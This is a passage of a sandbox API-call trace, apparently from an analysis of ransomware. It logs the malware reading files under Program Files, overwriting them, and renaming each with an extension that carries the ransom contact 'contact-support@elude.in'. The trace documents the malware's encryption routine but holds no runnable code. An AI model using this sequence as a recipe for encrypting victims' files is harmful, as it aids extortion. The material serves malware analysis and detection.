(HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7431870 [0182.237] GetProcessHeap () returned 0x630000 [0182.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x743cca0 [0182.237] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.237] ReadFile (in: hFile=0x4f0, lpBuffer=0x7431870, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7431870*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.491] GetProcessHeap () returned 0x630000 [0190.491] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0190.491] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.491] WriteFile (in: hFile=0x4f0, lpBuffer=0x743cca0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743cca0*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.492] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.492] WriteFile (in: hFile=0x4f0, lpBuffer=0x744809f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x744809f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.492] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.494] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.494] CloseHandle (hObject=0x4f0) returned 1 [0190.601] GetProcessHeap () returned 0x630000 [0190.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743cca0 | out: hHeap=0x630000) returned 1 [0190.601] GetProcessHeap () returned 0x630000 [0190.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7431870 | out: hHeap=0x630000) returned 1 [0190.634] GetProcessHeap () returned 0x630000 [0190.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0190.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x378d142c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f4, dwReserved0=0xc0c7496, dwReserved1=0x7431868, cFileName="TellMeOneNote.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEF1EF~1.FIR")) returned 0x6d5280 [0190.636] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0190.637] Sleep (dwMilliseconds=0x1) [0192.165] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX", len=0x5a | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX") returned 1 [0192.165] GetProcessHeap () returned 0x630000 [0192.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45a8) returned 0x74656a8 [0192.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_u.vstx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0193.626] CloseHandle (hObject=0x620) returned 1 [0193.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_u.vstx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_u.vstx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x19f5d, dwReserved0=0x640075, dwReserved1=0x2e0065, cFileName="WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d53c0 [0195.606] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0195.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_u.vstx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0195.606] GetProcessHeap () returned 0x630000 [0195.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0195.607] GetProcessHeap () returned 0x630000 [0195.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0195.607] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.607] ReadFile (in: hFile=0x620, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0200.073] GetProcessHeap () returned 0x630000 [0200.073] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0200.073] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.073] WriteFile (in: hFile=0x620, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0200.074] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.074] WriteFile (in: hFile=0x620, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0200.074] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.074] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0200.074] CloseHandle (hObject=0x620) returned 1 [0201.899] GetProcessHeap () returned 0x630000 [0201.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0201.899] GetProcessHeap () returned 0x630000 [0201.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0201.899] GetProcessHeap () returned 0x630000 [0201.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0201.899] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d3282c5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19f81, dwReserved0=0xc0c7496, dwReserved1=0x6fdcf30, cFileName="WORKFLOW_PROCESS_U.VSTX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d4f00 [0201.899] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0201.920] Sleep (dwMilliseconds=0x1) [0204.156] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE", len=0x67 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE") returned 1 [0204.156] GetProcessHeap () returned 0x630000 [0204.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c18) returned 0x7133a90 [0204.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0204.182] CloseHandle (hObject=0x640) returned 1 [0204.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\source engine\\ose.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\source engine\\ose.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0f23aa6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSEEXE~1.FIR")) returned 0x6d5200 [0204.185] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0204.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\source engine\\ose.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0204.185] GetProcessHeap () returned 0x630000 [0204.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74bfc68 [0204.186] GetProcessHeap () returned 0x630000 [0204.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74cb098 [0204.186] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.186] ReadFile (in: hFile=0x640, lpBuffer=0x74bfc68, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74bfc68*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0210.563] GetProcessHeap () returned 0x630000 [0210.563] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0210.563] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.563] WriteFile (in: hFile=0x640, lpBuffer=0x74cb098*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74cb098*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0210.564] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.564] WriteFile (in: hFile=0x640, lpBuffer=0x74d6497*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d6497*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.176] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.177] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.177] CloseHandle (hObject=0x640) returned 1 [0212.177] GetProcessHeap () returned 0x630000 [0212.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74cb098 | out: hHeap=0x630000) returned 1 [0212.177] GetProcessHeap () returned 0x630000 [0212.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74bfc68 | out: hHeap=0x630000) returned 1 [0212.177] GetProcessHeap () returned 0x630000 [0212.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0212.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4469c255, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3ba6c, dwReserved0=0xc0c7496, dwReserved1=0x74bfc60, cFileName="OSE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OSEEXE~1.FIR")) returned 0x6d5200 [0212.178] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0212.178] Sleep (dwMilliseconds=0x1) [0214.181] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\MSBuild\\angrylip.exe", len=0x25 | out: pbstr=0x323ff7c*="C:\\Program Files\\MSBuild\\angrylip.exe") returned 1 [0214.181] GetProcessHeap () returned 0x630000 [0214.182] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f44) returned 0x7128660 [0214.182] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\angrylip.exe" (normalized: "c:\\program files\\msbuild\\angrylip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.182] Sleep (dwMilliseconds=0x1) [0215.995] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x323ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml") returned 1 [0215.995] GetProcessHeap () returned 0x630000 [0215.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fd0) returned 0x74d7f88 [0215.995] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0215.996] CloseHandle (hObject=0x42c) returned 1 [0215.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.996] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0215.997] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0215.998] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0215.998] GetProcessHeap () returned 0x630000 [0215.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0215.998] GetProcessHeap () returned 0x630000 [0215.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0215.998] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.998] ReadFile (in: hFile=0x42c, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x323ff0c*=0x240, lpOverlapped=0x0) returned 1 [0216.001] GetProcessHeap () returned 0x630000 [0216.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0216.001] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.001] WriteFile (in: hFile=0x42c, lpBuffer=0x6d72c8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesWritten=0x323ff0c*=0x240, lpOverlapped=0x0) returned 1 [0216.001] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.001] WriteFile (in: hFile=0x42c, lpBuffer=0x6d7507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7507*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.002] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.002] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.002] CloseHandle (hObject=0x42c) returned 1 [0216.002] GetProcessHeap () returned 0x630000 [0216.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0216.002] GetProcessHeap () returned 0x630000 [0216.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0216.002] GetProcessHeap () returned 0x630000 [0216.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0216.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46b1dd9a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x323fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0216.002] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0216.002] Sleep (dwMilliseconds=0x1) [0216.009] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html", len=0x6f | out: pbstr=0x323ff7c*="C:\\Program 